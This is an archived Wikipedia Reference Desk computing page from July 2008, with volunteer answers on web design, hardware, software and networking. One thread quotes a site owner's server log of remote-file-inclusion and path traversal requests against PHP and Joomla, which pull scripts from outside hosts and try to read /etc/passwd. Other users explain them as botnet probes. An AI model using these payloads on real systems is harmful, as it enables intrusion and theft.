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July 12

the catch with shutterfly

what's the catch with shutterfly? are they just as harmless as Sun Java, who as a well known writer put it, opened a huge, free amusement park, opened it for business for everyone, and started selling candies in one of the many competing candy stores at the front gate of the amusement park? Surely, there must be a catch in it? what are the drawbacks of shutterfly? 67.173.249.88 (talk) 01:22, 12 July 2008 (UTC)

If you mean Shutterfly, the site, they are probably as "harmless" as any website that seeks to offer you a service of some sort, hopes to build a big audience, and then will ram ads down your throat until no tomorrow in order to turn a profit, or have you join with a pay account, or whatever. I don't see anything particular nefarious about them, or unusual. Perhaps you could be more specific about what you mean. --98.217.8.46 (talk) 21:43, 12 July 2008 (UTC)

For starters, are the images I upload public or private by default? and do they claim copyrights for my photos or something. I mean, if what I perceive as Shutterfly's business model is indeed its business model, and it is profitable, Yahoo! and Google should have come running after to match (or exceed) the offer. 67.173.249.88 (talk) 13:28, 13 July 2008 (UTC)

Well just read their site policies, they aren't hidden away. You retain copyright and ownership of anything you submit to them, but they get a right to use it for their purposes too. I don't know about public or private—if you bother to sign up you'll probably see pretty quickly. Again, I'm not sure why you'd assume there is a "catch"—it's just another photo hosting web service. They're probably just hoping to get bought out by Google like everyone else out there. --98.217.8.46 (talk) 16:42, 13 July 2008 (UTC)

Ubuntu - Audigy Platinum checklist

Hi, I'm running windows whenever I actually want to have sound, which is depressing because I like some of the free music software for linux better than the free pc stuff (I know audacity is cross platform but there's some other stuff). I can try my luck with some kinds of manuals and message boards out there some more but I'm kind of not having much luck. I can't get my front plate (with all the fancy connection ports) to work in either windows or linux and I can't get any sound at all in linux. At this point I guess I'll be satisfied to get the front plate working in windows (even though I'll have to switch back and forth to use Hydrogen) and get the soundcard working in ubuntu, but if I can get the front panel working in ubuntu that would be the best. What are the parameters or aspects or what-have-you that I need to account for to make it work? Can you give me a little overview of the components that make it all (ideally) come together? I was able to get the alsamixer going and make sure nothing's muted and I think I installed a driver for my soundcard but it didn't do anything so I dunno. Thanks. -LambaJan (talk) 02:17, 12 July 2008 (UTC)

Have you tried this? Try looking around the forums to see if there are howtos and the like. Creative's drivers are very dodgy, on both Windows and Linux; is there a reason why you NEED to use the card? --antilived^{T | C | G} 04:56, 12 July 2008 (UTC)

CSS

Hello Wikipedia. Does anyone know of a really great CSS tutorial? I've been working on a new website for a little while now, and I'm having the hardest time getting to div's two sit side by side. So if anyone has some advise, or a good place to start looking, that would be great. Thanks in advance! jesusfreak210 (talk) 05:05, 12 July 2008 (UTC)

The best CSS video tutorials are from Lynda.com and VTC.com. You have to pay for those, though. I'm sure that there are free ones, too, but I just use those two sites.--Hello. I'm new here, but I'm sure I can help out. (talk) 05:12, 12 July 2008 (UTC)

http://w3schools.com. --antilived^{T | C | G} 07:17, 12 July 2008 (UTC)

Try this :

this is left

this is right

-- Finlay McWalter | Talk 09:31, 12 July 2008 (UTC)

Yes, go to Western Civilisation and browse around their excellent CSS materials, free of charge. IFF you're feeling grateful or want an augmented version of this, pony up the modest sum required; but even if you pay them nothing you're not subjected to any nagging about it.

I'd supplement this with a book. There's some dreadful stuff available (even O'Reilly is now churning out huge books bulked up with pointless margins, cartoons, etc.) but I like Eric Meyer's Cascading Style Sheets 2.0: Programmer's Reference (ISBN 0072131780). -- Hoary (talk) 11:17, 12 July 2008 (UTC)

Google Apps location

When I put www.google.com in to the address bar of Firefox 3 I get redirected to www.google.co.uk and I'm in the UK so that's not a problem. But When I want to use Google Apps and I put in www.google.com/a it sometimes changes the language from English, presumably thinking that I'm in a different country. It seems to be something different each time I use it. Today its coming up in Turkish. Anyone know why this is? Jooler (talk) 07:36, 12 July 2008 (UTC)

Are you using Tor? This will mess up google's language (apparently set by tracing your IP). JeremyMcCracken (talk) (contribs) 02:06, 15 July 2008 (UTC)

Free anti virus

Hello people, what is the best free anti virus around? Whatever Anti virus suggests, doesnt seem to be free 59.94.237.192 (talk) 08:14, 12 July 2008 (UTC)

Do you mean gratis or libre? We have list of antivirus software#Freeware and list of antivirus software#Open source depending. Algebraist 08:46, 12 July 2008 (UTC)

AVG is free; I used it until they came out with version 8, which I don't like. I now one called ClamWin, also free. JeremyMcCracken (talk) (contribs) 19:49, 17 July 2008 (UTC)

Usually your ISP will provide an antivirus for you. If not, then I suggest AVG. It is thorough and does all you would need. Just google AVG Free.

Unfaithful browsers

Dear all ! story is this for a long time I used IE then few months ago i downloaded Firefox,both worked superbly whenever these were used.But now both are unwilling to open any web page.I was using IE6 but after it was updated to IE7 it has become totally useless.What might be the reason?Moreover suggest me a good site for real player free-download.--Catherine.michi (talk) 10:35, 12 July 2008 (UTC)

Wait, you can't get to any websites with either IE or Firefox? Are you sure your network connection is working? It sounds like your internet connection is simply down. Is that what's happening? Can you use other internet-apps, like AIM (or any other IM-client) or iTunes or Windows Update?

As for RealPlayer, there is a free version of it. Just go to www.realplayer.com and click on the "Free Download" link. You don't have to pay a dime. --Oskar 11:06, 12 July 2008 (UTC)

Though it boggles the mind as to why anyone would actually want to download RealPlayer... « Aaron Rotenberg « Talk « 13:39, 12 July 2008 (UTC)

The most recent version isn't so horrendous (it's a little horrendous), and if you need to play Real videos (which many sites still use), you don't really have much of a choice (any alternate solutions are just pains in the ass in comparison to just using real player). --Oskar 14:08, 12 July 2008 (UTC)

I have had enough troubles playing the BBC Nepali on my mac without the realplayer for me to go get real player. Kushal (talk) 17:24, 12 July 2008 (UTC)

Thanks guys!I got it.--Catherine.michi (talk) 20:33, 12 July 2008 (UTC)

Network administration question

As network administrator of an engineering company what permissions should i have to grant to company's executive,Managers of different departments and engineers?Please explain.--Catherine.michi (talk) 11:05, 12 July 2008 (UTC)

Well, on the most basic level, this depends on a whole bunch of things: What kind of systems are you using -- i.e., what are you granting permissions to? What do they need access to? What kind of security policies do you guys have in place? What kind of problems could you expect from the permissions? (Could they access confidential information they shouldn't have access to? Could giving them access increase the risk of an unauthorized third party getting into the system? Or could they simply break something by accident? That kind of stuff.)

A good rule of thumb is that in order to maintain a secure system, you shouldn't give anyone any access they don't actually need for their work. This kind of a practice has been known to occasionally lead to confrontations with people who think their authority is being challenged -- "I'm the CEO, I should have access to everything!" -- but it's not really a question of authority, it's a question of balancing work requirements with security requirements. -- Captain Disdain (talk) 12:27, 12 July 2008 (UTC)

OK fine.One question more,if i have to provide IP addresses to 125 computers then I think two IP addresses are enough to be purchased.If this is the case then how many bits sub-netting should be done to fulfill the requirement.--Catherine.michi (talk) 20:38, 12 July 2008 (UTC)

I'm not sure how you could possibly be a network administrator and be clueless about how many bits are required to count to 125, but then you probably don't really care about this stuff as long as you get a good grade on your homework. By this part of the class, you should know what an IP address is and you should know that it contains four numbers, each from 0 to 255. So, if the first three are fixed, the last one can still has 256 possible values (which is more than 125, in case you are wondering). If you fix the first bit of that last number, you get half the possible number - only 128 (again, that is more than 125). If you fix the first two bits of the last number, you half it again - only 64 possible numbers. That is less than 125. Hopefully you can complete the rest of it on your own. -- kainaw™ 03:19, 13 July 2008 (UTC)

You'll only need 1 IP address per site. The internal IP addresses are going to be in a private sub-net (192.168.x.x or 10.x.x.x) so they won't need a public IP address. All of your computers will share a single public IP address.

You really need an expert in this kind of thing if you have a network of 125 computers. If you just try to fake your way though it you'll end up doing yourself and your company a disservice. ---J.S (T/C/WRE) 17:49, 18 July 2008 (UTC)

I'd like to plug the people who made my TV...

Instead of having a TV/Video button on the remote, it "detects" if RCA cables (red/yellow/white cables) are plugged in and then switches to video mode. This might be acceptable if you plugged the cables in on the side in an easily accessible location, but, alas, they plug in the back. My TV is pushed into a corner of my bedroom so that the back of the TV is quite inaccessible. Due to the small size of my bedroom there doesn't seem to be a way to place it so that the cables can easily be plugged and unplugged when I want to switch between my DVD player and TV. So, just how does the TV "detect" that the cables are plugged in and is there any way I can trick it without actually unplugging the cables ? It's a Quasar VV8220. StuRat (talk) 15:32, 12 July 2008 (UTC)

You've probably tried this, but let's start with the obvious : Does it go back to TV mode if the DVD player is off? APL (talk) 15:43, 12 July 2008 (UTC)

The connectors on the TV into which the RCA cable connectors are plugged can be designed to detect the presence of a plug. It may be a purely mechanical arrangement (sensing the presence of the center pin of the plug) or it can be a jack that notices when the ground ring of the plug shorts together two portions of the jack. Or, as APL infers, the TV could detect the presence of an audio/video signal coming in on the RCA jack. But this whole scheme sounds very limiting -- are you sure there's no way to convince the TV to switch back to "broadcast" mode?

Atlant (talk) 17:47, 12 July 2008 (UTC)

Turning off the DVD player and/or the TV doesn't reset it to TV mode. I'm thinking it's a mechanical sensor on the center pin. Any other ideas ? StuRat (talk) 00:35, 13 July 2008 (UTC)

That's an immensely stupid design. However, If you don't mind losing a small amount of quality (not much, I suspect.) I'd say dispense with the TV's RCA inputs altogether, and get a RF modulator and feed the signal in through the coax jack. If you get one with a built-in switch it may even be not uncomfortably inconvenient. Look at this manual for the Radio Shack Auto-Sensing 4-Way Stereo A/V Selector & RF Modulator. It's also surprisingly inexpensive for a Radio Shack product. I suspect that you could plug your DVD player's RCA plugs and your cable into this device's inputs, and run its coax output to your television. Good luck. APL (talk) 01:02, 13 July 2008 (UTC)

That might be a possibility. I assume it can pass any input through as an identical output (S-VIDEO to S-VIDEO, RCA to RCA, and RF to RF). I'd also guess it downconverts S-VIDEO inputs to RCA or RF outputs and downconverts RCA inputs to RF output. I'd guess that it can't upconvert RF inputs to RCA or S-VIDEO outputs or upconvert RCA inputs to S-VIDEO output. Am I correct ? StuRat (talk) 06:59, 13 July 2008 (UTC)

That's what it appears to do. I've never used that exact piece of equipment. APL (talk) 15:17, 13 July 2008 (UTC)

TVs usually have a TV/AV button on the remote control or on the front panel, but sometimes just selecting channel 0 repeatedly switches between the TV mode and the various other inputs. Astronaut (talk) 05:54, 13 July 2008 (UTC)

This could be the answer. I've noticed that some TVs I've used in hotel rooms have the composite input on the channel list as though it were another channel. Have you tried setting the channel to 2 and clicking "down" a couple of times? APL (talk) 15:17, 13 July 2008 (UTC)

No, that doesn't appear to work. Whenever I try to go to a station it doesn't recognize, like 0, it just stays on the current channel. If I go down from channel 2 it just goes to the highest channel number it finds. This doesn't switch it over to TV mode, though, so I only see the channel change when I unplug the RCA cables. StuRat (talk) 16:01, 13 July 2008 (UTC)

One other bit of info; the video RCA jack and single (mono) audio RCA jack apparently work independently, as follows:

Video    Audio
RCA      RCA
Jack     Jack
Plugged  Plugged
In       In       Result
=======  =======  ========================
  No       No     Video from RF/audio from RF
  Yes      No     Video from RCA/audio from RF
  No       Yes    Video from RF/audio from RCA
  Yes      Yes    Video from RCA/audio from RCA

So, I can apparently play the video from one source and the audio from another, although I don't know why I would ever want to. StuRat (talk) 16:18, 13 July 2008 (UTC)

(Although I realize you're describing a mono input, conceptually,) you might have wanted this "separate" behavior in the days before TVs grew stereo (MTS) sound and simulcasting was occasionally done. FM also provided much better fidelity than TV sound.

Atlant (talk) 12:09, 14 July 2008 (UTC)

I just verified that it does go off the center pin pressure by inserting a rod about the same size as that on the RCA jacks. So, the only way to switch between RCA and RF using a remote would then be to have a device which physically inserts or pulls out the plugs when it get's the proper signal. Does such a device exist ? I suppose the alternative is to open up the TV and attempt to rewire how the RCA jacks work or, as suggested previously, just accept the lower quality and use the RF input exclusively. Another thought, is there a device that takes RF antenna input, selects a given analog channel, and sends that via RCA jacks ? StuRat (talk) 16:40, 13 July 2008 (UTC)

I'd go either for the rewire - it's only a switch after all (watch out for ALL the wires in the tv -they tend to have capacitors and the like storing massive voltages even when switched off..)

OR buy a set-top box - RF signals are mostly far worse than RCA composite (from experience).. What country?? In the UK you can get a set top box for less than £20 now, and that should also accept your dvd input (does the dvd have scart output - that's quite important here) - the set top box solution would be a little more expensive than the RF modulator probably but definately better quality. If you're in the US or HongKong or wherever then I have no idea.87.102.86.73 (talk) 19:55, 13 July 2008 (UTC)

It's in the US. But, out of curiosity, just what would the "set top box" do for someone in the UK ? Convert RF input into RCA outputs ? My DVD player has S-VIDEO and RCA outputs, but no RF (do any of them have RF ?). And definitely no SCART output, that must be a European thing. StuRat (talk) 23:04, 13 July 2008 (UTC)

Yes a 'set top box' is effectively an external TV tuner with composite/component outputs, as well as a by-pass for other things..87.102.86.73 (talk) 10:48, 14 July 2008 (UTC)

A quick search of Radio Shack and I can't find any analog set-top boxes. (possibly under the name 'TV tuner') I know they exist, and certainly you can rent them from the cable company. However, Consider that you'll probably need a digital one come February anyway. APL (talk) 06:07, 14 July 2008 (UTC)

I have a CECB, which produces RCA output. I also have two Canadian stations which I want to continue to get in analog until they switch over 2.5 years after the US. So, a "set-top box", if it allows me to switch between an analog TV RF input, and RCA inputs containing digital TV converted to analog, and RCA or S-VIDEO inputs from my DVD player, with RCA outputs in all cases, would solve the problem nicely for me. Ideally this set-top box would send RCA outputs from the DVD player if it gets input from there, or RCA outputs from the digital TV if it gets input from there, or RCA outputs from the analog TV RF input otherwise. Alternatively, if the same remote that comes with the box to change analog channels also flips between inputs, that would work, too. StuRat (talk) 12:49, 14 July 2008 (UTC)

Sounds like a pretty stupid design. If you can afford a different TV, that might the way to go. Astronaut (talk) 23:15, 13 July 2008 (UTC)

Strange requests

I often see a lot of requests like this in my website's log:

/~grawity//index.php?option=com_lmo&Itemid=&mosConfig_absolute_path=ftp://81.177.8.194/Upload/trem/old?
/~grawity//index.php?option=com_lmo&Itemid=&mosConfig_absolute_path=ftp://81.177.8.194/Upload/trem/1?
/~grawity//index.php?_SERVER[DOCUMENT_ROOT]=ftp://81.177.8.194/Upload/trem/old?
/~grawity//index.php?_SERVER[DOCUMENT_ROOT]=ftp://81.177.8.194/Upload/trem/1?
/~grawity//index.php?option=com_zoom&Itemid=&catid=&mosConfig_absolute_path=http://www.iglesialcs.cl/newweb//images/stories/.bash/in.txt?
/~grawity/index.php?inc=http://www.sonduzluk.com//administrator/components/com_joomla-visites/core/include/i???
/~grawity/index.php?option=com_virtuemart&task=&Itemid=&mosConfig_absolute_path=http://h1.ripway.com/sobatmu/echo.txt??
/~grawity/index.php?header=http://www.globalcare.or.kr/donor/tst.txt??
/~grawity/index.php?get=http://www.tikkieterug.nl/administrator/backups/sistem.gif?
/~grawity//index.php?option=com_lmo&Itemid=&mosConfig_absolute_path=http://www.bicarabuku.com/mambots/system/sql.txt?
/~grawity/index.php?body=http://www.wow-unbreakables.de/phpBB2//language/lang_english/email/id.txt??
/~grawity//index.php?option=com_lmo&Itemid=&mosConfig_absolute_path=../../../../../../../../../../../../../etc/passwd%00
/~grawity//index.php?option=com_letterman&task=view&Itemid=&mosConfig_absolute_path=http://itmovement.com/taxy/templates_nogui/editor/_samples/id.txt?

LOTS of requests like this. (Obviously, they don't work.) Should I notify the ISPs, or just don't bother with it? --grawity 18:20, 12 July 2008 (UTC)

Well, they're obviously trying to "hack" your site, hoping that you've written code so sloppy that if they throw in a few variables suddenly your server will spit back to them anything they want. I doubt notifying the ISPs will do anything much, though. --98.217.8.46 (talk) 18:34, 12 July 2008 (UTC)

...and so far, zero attempts were successful. Plus, I found an interesting FTP site in one of the requests. I'm only asking because it kinda wastes the bandwidth of my host (http://rootshell.be/). --grawity 19:26, 12 July 2008 (UTC)

You can try and contact the system administrator of the FTP site. His e-mail addressis written in that .txt file with a garbled name. Also, he says in that file that the FTP server hosts files for some game server and that he isn't responsible for the contents of the /Upload folder, meaning he can try to find who the hackers are and that could scare them off. Admiral Norton ^(talk) 20:04, 12 July 2008 (UTC)

They're very very likely to come from a slave machine on a botnet (the days of the joyriding amateur Berferd are long gone), so even if anyone were to trace the (apparent) origin they'd only find a poorly maintained Windows machine - and so (if you did tell them) your ISP probably won't do anything about it. It probably isn't using really that much of your bandwidth, as an http request for a non-existent page and the resulting 404 really should only be a few hundred bytes. If the attacks became so frequent that it really was starting to deny service (which is generally due to the network stack getting gummed up with all its socket slots in TIME_WAIT then whoever runs your firewall (which I'd imagine is your ISP) can write a little script that inspects packets thus:

             if the received packet contents match a known-attack-pattern:
                 blacklist the originating IP for 30 mins
                 force the TCP socket closed, and immediately reclaim the socket slot

But mostly its value is in reminding you that skilled people really are trying to hack your website every day.. -- Finlay McWalter | Talk 20:12, 12 July 2008 (UTC)

Well, not that skilled. These are just little injection queries probably run by slave botnets in order to create more slave botnets. They're probably totally automated. I once ran a mail server that got a few machines that tried to do this to it over and over again for awhile. I just blocked the IPs when they came up and eventually it stopped. (Amusingly the bots were trying to use Windows exploits, but the mail server was on a Mac. So it was kind of sad and pathetic.) --98.217.8.46 (talk) 21:24, 12 July 2008 (UTC)

Portrait Mode Monitors

Which monitors can be flipped to the portrait mode? I have been searching online for a couple of weeks and I've only come up with a couple. There must be a faster way. Thanks for any help. Robert Myers —Preceding unsigned comment added by 68.154.27.173 (talk) 18:53, 12 July 2008 (UTC)

With the X Window System, it's easy to rotate or reflect the screen, so you can just get an ordinary LCD panel or whatever, mount it in portrait mode, and then set up X to have the correct orientation. I can even do it right now on my laptop (the only problem is that the keyboard is stuck at the wrong angle). I wouldn't be surprised if Windows or Mac OS X have similar features. —Keenan Pepper 23:48, 12 July 2008 (UTC)

I did once succeed in that trick on Windows XP, but I was using a CRT monitor that can't be rotated. Admiral Norton ^(talk) 00:10, 13 July 2008 (UTC)

At work, I use a LCD monitor which can be turned to a portrait orientation. TBH I haven't tried turning it by more than a few degrees, so I've no idea if the driver switches the display round as well. I'm at home at the moment so all I can say is that it is made by IBM, but I try to post an update on Monday with the model number. Astronaut (talk) 05:36, 13 July 2008 (UTC)

Keep in mind that even if you turn an LCD physically it doesn't mean it was built to show the picture correctly. I tried turning an old IBM LCD on its side and the picture was horrible. --mboverload@ 05:42, 13 July 2008 (UTC)

Old LCDs used to have a pretty narrow viewing angle with brightness and especially color shifts occurring as you went "off-axis"; this may have been the reason the picture was horrible. This is less of a problem with modern LCDs which have pretty amazing viewing angles. And, per the original question, Mac OS X supports rotating the monitors although not all of the Apple Cinema Displays mechanically allow rotation using their provided stands. (Do any?)

Atlant (talk) 11:53, 14 July 2008 (UTC)

My monitor is an IBM ThinkVision 9417-HB7 (manual here) and it doesn't rotate the display automatically. The display card/driver is Intel's Graphics Media Accelerator (82915G/GV/910GL Express Chipset Family) and has a rotate function in the settings. The monitor seem a couple of years old, but perhaps you could find one on the used market. Astronaut (talk) 09:06, 14 July 2008 (UTC)

Assuming you can find a monitor that can stand being physically rotated, make sure your graphics card and associated software is able to rotate the display. I once had to explain to my mother by telephone how to return a display to normal orientation after the hotkey sequence had been accidentally triggered by my pet cat. -=# Amos E Wolfe ^talk #=- 13:30, 15 July 2008 (UTC)

Scipting with Visual Basic.NET

Hi,

Does anyone know if it's possible to script using Visual Basic.NET? I know some VB.NET, but I don't know any VB Script. When I try to type VB.NET into a file and save it with the .vbs extension, it does not work.

Thanks,

Hello. I'm new here, but I'm sure I can help out. (talk) 23:15, 12 July 2008 (UTC)

VBScript does not work in VB.NET. VB.NET is not really VB in the old sense—it's a different language, something of a hybrid between scripting and a more structured language.

There are ways to import VB6 projects (which are basically VBScript) into VB.NET automatically—maybe there's a way to import VBS? No clue. If it's just a very small amount of code you could try posting it here—it's not that hard to convert if you know your way around both languages. --98.217.8.46 (talk) 23:52, 12 July 2008 (UTC)

Thank you, but I'm looking to create scripts written mostly in Visual Basic.NET. I appreciate the coding offer, but it's more of a long-term need, rather than a single project. I wonder if the Windows Scripting Host can be extended to recognize VB.NET code?--Hello. I'm new here, but I'm sure I can help out. (talk) 00:53, 13 July 2008 (UTC)

VB.NET isn't a scripting language as mentioned above. You could, however, create a simple console application and run it without having to output to System.Console. I do this all the time and I never hesitate to create a simple console application whenever I feel like automating something. Create a new console application, write the code and run whenever. I don't understand why you don't want to run an exe file as opposed to a vbs file. If the black console window is bothering you there are ways to hide it. If you want to compile without visual studio you could simply use vbc.exe. --Yousifnet (talk) 01:25, 13 July 2008 (UTC)

Honestly, if you can use VBScript, you could probably figure out the relevant VB.NET without too much effort—it's not totally foreign from old school VB. It all depends on what you are doing. You can make it run as a console or hidden in the background or whatever you want. --98.217.8.46 (talk) 02:06, 13 July 2008 (UTC)

If your requirement is to run ad hoc scripts written in a VBScript-like language, then you can use the compiler classes in .NET to compile your script into a .NET assembly, and then load and run it. Once you've written your original utility which compiles the scripts (you'll need Visual Studio for this) you can then compile and run scripts using just the standard .NET CLR. KiwiBiggles (talk) 03:47, 13 July 2008 (UTC)

Uh, just in case anyone is wondering, that would not be a trivial thing to do. --98.217.8.46 (talk) 16:27, 13 July 2008 (UTC)

July 13

Editing SVG files

The Gamma function along part of the real axis

I run a PC with XP. I have both Paint Shop Pro X and have downloaded Inkscape. Both programs when I endeavour to edit Image:Gamma plot.svg omit the red lines. Why? What can be done about it? -- SGBailey (talk) 00:04, 13 July 2008 (UTC)

Inkscape doesn't seem to like the stroke style used to draw the red lines. Here's how to edit everything - open the diagram in inkscape, edit>selectAll, then set the stroke-style to flat colour. That zaps the colour info, but does make all the lines visible (and restoring the colour info shouldn't be much work). -- Finlay McWalter | Talk 00:15, 13 July 2008 (UTC)

On looking at it, the affected objects have

stroke:currentcolor

definitions, and this Inkscape bug suggests Inkscape doesn't render that correctly. Indeed some of those reporting on that bug complain they get it with SVGs generated by GNUplot, which generated this particular plot. -- Finlay McWalter | Talk 00:21, 13 July 2008 (UTC)

Yeah, doing a replace-All (in emacs) of "currentcolor" with "red" (just as an example) fixes the problem (there's a few too many red things, but that's easy fixed). __ Finlay McWalter | Talk 00:25, 13 July 2008 (UTC)

Thanks -- SGBailey (talk) 11:22, 13 July 2008 (UTC)

Admin. Password win. XP

on a visit to my Grandpa's (a rare ocassion) i found that his pc was not working properly, when i turned it on a HP invent logo popped up for a long time and than after a long time it would say something like boot disc failure... well anyways after mch trouble i managed to find out that the harddrive was the problem, so i ran over to circuit city and bought a new one real quick and then plugged everything back in and ran te system recovery discs (took a ver long time cuz there are 8 discs and all of them take around 20 minutes)

Well anyways now everything looks great although when turned on it goes to a login screen, the only acount being the adminstrator's, ive tried a TON of different things including just leaving it blank but nothing will work...

This computer happens to be my uncle's who passed away recently so there is no way to ask him what he had the password set as, even though i do not think that would be the problem cause i switched out the harddrive Any suggestions on what i am supposed to do, everything will be much appreciated, please excuse my formating errors —Preceding unsigned comment added by 67.190.43.252 (talk) 03:33, 13 July 2008 (UTC)

There are quite a lot of utilities that will help you with this. Try http://home.eunet.no/~pnordahl/ntpasswd/. Basically this (and all the others like it) have you boot to a floppy disk which runs a flavour of Linux, and mounts your NTFS hard disk. It then has a utility which lets you set the Administrator password for Windows. Of course it gives you call kinds of scary warnings, but I've used it several times on systems where the user has disappeared or forgotten their local admin password, and it's always worked reliably for me. Hope this helps. KiwiBiggles (talk) 03:44, 13 July 2008 (UTC)

Merging iTunes Playlists

How would I go about merging 2 iTunes playlists? I have been ripping my music at the highest bitrate for several weeks now... and the 320gig external HDD I assumed would be large enough just topped out. So I am going to move that file to one of the teraboxes I have, but none of them atm has enough room itself for the folder, so I would like to continue ripping my music from CD's to another external hard drive, and later when I get the space issues all figured out, merge them into one folder, and one playlist. so my question is, how do I go about doing that? Is it even possible?

Sorry if this has been gone over before, I searched and searched but couldn't find anything in the archives. Dureo (talk) 03:53, 13 July 2008 (UTC)

There are options to import/export songs in the File menu, but I'm not sure if this is what you're looking for. Do you want your whole library or a custom playlist? --Russoc4 (talk) 19:12, 13 July 2008 (UTC)

I just want to continue burning to an addt ext hdd, and once I get another larger ext hdd, merge it all into one big music folder. Dureo (talk) 20:00, 13 July 2008 (UTC)

I really don't think you can have your iTunes library in several locations across several hard drives -- at least not with vanilla iTunes. This is the kind of a thing some user might well have created a modification for, of course, but iTunes itself does not appear to have this kind of functionality. At least no user-adjustable setting seems to have anything like this. -- Captain Disdain (talk) 23:46, 13 July 2008 (UTC)

Reshuffling the directory structure of a website

I've inherited several fairly large chunks of a much larger website, and the maintenance of the former (all conveniently mirrored on my hard drive and in a USB memory thingie). Let's say that the former chunks are

• www.domain.tld/business/........
• www.domain.tld/this/is/a/long/path/personal/........
• www.domain.tld/css/........
• www.domain.tld/image/........

with subdirectories aplenty. All the links among these are relative, and there are plenty of links between the first two. (There are few links from elsewhere in the larger site to "my" chunks.) I now want to change the first two to, say

• www.domain.tld/main/business/........
• www.domain.tld/main/personal/........

Of course I'd do this to the image on my hard drive, check all the links, add redirects from the old addresses, and then uplod the lot.

There are so many links to change that doing this would be rather tedious but tolerable. There aren't so many links to change that I'd want to be bothered to learn perl (?) or awk (?) in order to automate the job. I wonder, however, if some obliging person might have written some software that presents a form asking for information about where things are now relative to the root, and where you want them relative to the root, and that then edits the files accordingly.

Half the files are in Shift-JIS, half in UTF-8; half are in HTML, half in XHTML. I have access to computers that run Kubuntu, Mac OS 10.5, and Windows Vista. -- Hoary (talk) 07:40, 13 July 2008 (UTC)

Cook links don't change, but you could alias it to provide access from the long and short versions. The advantages of this would be the ability to use short links while not needing to worry that you haven't caught every link that needs to be changed. You can set up an alias in whatever your website config files are (eg: Apache.conf).

To change the urls, I'd back up all the files, then use the following script:

 
 for A in $(find . -name '*.html' -print);
 do
    echo "Will update $A";
    # sed --in-place -re 's/\/this\/is\/a\/long\/path\//\/this\/is\/a\/short\/path/g' "$A";
 done;

Run it once to list the files which will be changed (all the *.html files in this case), then run it with the sed line uncommented to actually do it. You should edit the 's/.../.../g' part to have the old path in the first bit and the new path in the second bit, with the slashes escaped with a backslash (ie / becomes \/). This is a regular expression, so avoid the special regexp characters. --h2g2bob (talk) 15:46, 13 July 2008 (UTC)

Thank you. I do like this "software tools" approach. Of course I'd back up all the files -- actually they all add up to very little compared with even your bog standard 1GB USB memory device, so I can have multiple mirrors and only ftp one of these when I'm sure I've got it right. -- Hoary (talk) 23:52, 13 July 2008 (UTC)

I use Adobe Dreamweaver at work, and it can do this very neatly, moving the files and updating the linked references. Check Category:Web development software, especially Category:Content management systems for other applications. --—— Gadget850 (Ed) ^talk - 15:27, 13 July 2008 (UTC)

Moving the files is of course trivial, it's updating the links that's irritating. I believe that Dreamweaver costs real money: OK if I had reason to use it later, but not otherwise. As for Category:Content management systems, they're described in opaquely abstract terms ("a system used to organize and facilitate collaborative content creation" etc etc) so I'm lost. Category:Open source content management systems is a bit more promising, but somehow I think that using sed will take less time than even locating the right CMS tool for the job. Still, thank you for trying to help, and I may yet have a follow-up question. -- Hoary (talk) 23:52, 13 July 2008 (UTC)

Technology behind the PS3's on/off switch

What is the technology behind the PS3's on/off switch (the one at the front of the console). I can't see any mention of it in the PS3 article. Thanks PSIII (talk) 08:36, 13 July 2008 (UTC)

I don't know exactly. I'm pretty sure it's checking for conductivity across the two metal pieces. Try putting a screwdriver across them. It works fine, but if you use a plastic piece it won't work. APL (talk) 14:50, 13 July 2008 (UTC)

I don't know this switch but I'm quite familiar with switch technology - do you have to press it/just touch it/just let your finger go near it without touching?87.102.86.73 (talk) 15:28, 13 July 2008 (UTC)

I'm guessing that it's a 'hi-tech' switch so maybe Touch switch will be useful.87.102.86.73 (talk) 15:33, 13 July 2008 (UTC)

Looking at that article I'll bet it's a "Resistance touch switch". The two electrodes double as the icon indicating the switch. APL (talk) 17:38, 13 July 2008 (UTC)

Warning: Original Research! Experimentation by poking it (and the eject button) in different ways suggest it's a capacitance switch. Neıl ☄ 15:09, 14 July 2008 (UTC)

Fun fact: The PS3 reads you mind. There is not spo..button. --mboverload@ 20:13, 14 July 2008 (UTC)

Getting rid of 3dsps.x3d trojans.

Sorry if this question has been asked many times before, but at this point I'm really worried. I have Norton Internet Security and AntiVir installed on my computer; last night, when Norton was scanning the computer, it found three trojan horses {3dsps.x3d type, which I found out to be known also as Win32.TrojanSpy.Peed}. Basically, Norton detected them, but stated not to be able to delete/put them into quarantine; therefore, I started looking for possible solutions on the web, only suceeding in downloading programs which were not compatible with Vista{which I have} or scanned my computer and then needed to be purchased in order to destroy the adware/malware and such, which I can't afford at the moment. Weird thing, not all of these programs {like Avast} detected the trojans; anyway, I thought I had solved the problem when I downloaded SUPERantispyware, which I had seen rated well on different sites; point is, when I scan my computer with it, it finds only cookies. Norton meanwhile keeps telling me I have those three trojans; it tells me where they should be, it's a file I downloaded from the Net, but when I scan it with other programs {SUPERantispyware included} it founds nothing but cookies; I would prefer to avoid deleting those file alltogether, because I really need it. Is Norton going crazy? If not, how do I get rid of those 3dsps.x3d trojans, possibly without deleting all the file I downloaded but only the infected part? I will really be grateful if you could help me with this and I apologize it was such a long post. —Preceding unsigned comment added by 79.26.93.138 (talk) 15:17, 13 July 2008 (UTC)

Try booting into safe mode (press F8 repeatedly while your PC is booting up, and select "safe mode" from the menu which appears) and then scanning with Norton, you may have better luck cleaning the files. — QuantumEleven 11:56, 15 July 2008 (UTC)

Alternative firmware for Nokia 3220

Is alternative firmware available for my Nokia 3220 phone? If so, what benefits would it confer? NeonMerlin 15:50, 13 July 2008 (UTC)

DVD drive

I'm thinking about getting an IDE CD/DVD-combo-drive-thingy for my comp. When I hook it up: 1) Would I have to use an 80-wire cord, or could I use a 40-wire, 2) Would I need some special software, or could I just immediately play DVDs on Windows Media Player? Thanks, flaminglawyer^c 18:37, 13 July 2008 (UTC)

I believe you are asking if you need to hook your drive to the IDE or Floppy connector. It must connect to IDE. You should have two IDE connectors on the motherboard (having only one is rare - except in new computers where there are two SATA and no IDE connectors). If you already have something plugged into both IDE connectors, note that you can connect two devices on each connector. Some IDE cables only have two plugs (one for the board and one for the drive). Most have three, one for the board, one in the middle for one drive and one on the end for another drive. You will probably need to install drivers for the drive if it has burning capability, but most drives come with a driver disk to make installation easy. -- kainaw™ 19:29, 13 July 2008 (UTC)

If you want to successfully use any of the faster transfer modes, you want the 80 wire cable. Really, nowadays, there's no reason to use the 40 wire cable; the 80-wire is much better at carrying fast signals.

Atlant (talk) 11:46, 14 July 2008 (UTC)

